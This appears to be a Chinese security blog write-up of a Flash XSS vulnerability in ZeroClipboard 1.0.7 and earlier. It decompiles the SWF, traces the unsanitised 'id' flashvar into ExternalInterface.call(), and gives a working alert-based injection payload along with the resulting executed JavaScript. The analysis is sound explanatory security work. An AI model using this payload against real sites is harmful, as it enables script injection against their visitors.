0x01 ZeroClipboard简介

ZeroClipboard是一款基于Flash的,兼容性较强的用于剪贴板复制的JS插件,它是基于Flash来实现跨浏览器的复制功能的。

ZeroClipboard是在国内网站中使用得比较普遍的Flash插件。

0x02 Flash XSS分析

当ZeroClipboard的版本<=1.0.7时,会存在Flash XSS漏洞。

漏洞版本下载地址:https://github.com/JoyChou93/FlashXss/tree/master/ZeroClipboard

我们下载了ZeroClipboard.swf文件后,使用FFDec软件来对其进行反编译,得到as代码:

得到如下as源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package
{
import flash.display.LoaderInfo;
import flash.display.Sprite;
import flash.display.StageScaleMode;
import flash.events.Event;
import flash.events.MouseEvent;
import flash.external.ExternalInterface;
import flash.system.Security;
import flash.system.System;

public class ZeroClipboard extends Sprite
{


private var button:Sprite;

private var id:String = "";

private var clipText:String = "";

public function ZeroClipboard()
{
super();
stage.scaleMode = StageScaleMode.EXACT_FIT;
Security.allowDomain("*");
var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
id = flashvars.id;
button = new Sprite();
button.buttonMode = true;
button.useHandCursor = true;
button.graphics.beginFill(13434624);
button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height));
button.alpha = 0;
addChild(button);
button.addEventListener(MouseEvent.CLICK,clickHandler);
button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);
});
button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null);
});
button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null);
});
button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null);
});
ExternalInterface.addCallback("setHandCursor",setHandCursor);
ExternalInterface.addCallback("setText",setText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null);
}

public function setHandCursor(param1:Boolean) : *
{
button.useHandCursor = param1;
}

private function clickHandler(param1:Event) : void
{
System.setClipboard(clipText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"complete",clipText);
}

public function setText(param1:*) : *
{
clipText = param1;
}
}
}

关注重点放在ZeroClipboard()函数上。

接着,我们搜索是否存在有接受外部输入参数的关键字,这里我们找到了AS3的传参语句:

1
var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;

跟踪下去,看看获取到传入的参数值的flashvars变量的调用链:

1
2
3
id = flashvars.id;
button = new Sprite();
... button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height));

可以看到,分别有id、width和height三个参数可以控制。传入参数id赋给了id变量,而其它两个参数则传入创建button按钮的宽和高,若不传的话会创建失败、无法执行到后续的代码逻辑中去。

这里继续跟踪id变量,可以看到都是作为ExternalInterface.call()函数的第二个参数传入的,当button成功创建并添加了一些监听事件后,在鼠标移动时就会触发且最后还会调用触发一次,此时就导致了Flash XSS漏洞的存在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);
});
button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null);
});
button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null);
});
button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null);
});
ExternalInterface.addCallback("setHandCursor",setHandCursor);
ExternalInterface.addCallback("setText",setText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null);

好了,最后理下,就是通过loaderInfo.parameters,我们可以传入三个参数id、width和height;其中width和height是必须传入的,否则进不了后续的代码逻辑;id参数则直接传入到ExternalInterface.call()函数的第二个参数执行,导致了Flash XSS漏洞的存在。

结合ExternalInterface.call()函数的第二个参数可控的payload,直接构造输入如下payload即可成功触发Flash XSS:

1
?id=\"))}catch(e){alert('mi1k7ea');}//&width=100&height=100

这里只要你移动鼠标就会触发:

用IE的开发者工具调试可以看到实际执行JS代码如下,注入的内容成功闭合了后面的语句,造成XSS:

1
try { __flash__toXML(ZeroClipboard.dispatch("\\"))}catch(e){alert('mi1k7ea');}//","mouseOut",null)) ; } catch (e) { "<undefined/>"; }

这里多说一句,如果payload写成如下是不成功的:

1
?id=\"));alert('mi1k7ea');}catch(e){}//&width=100&height=100

这是因为ZeroClipboard未定义,在之前alert前就会报错直接跳转到了catch代码段中执行,绕过了我们注入的XSS payload:

0x03 参考

Flash XSS Securit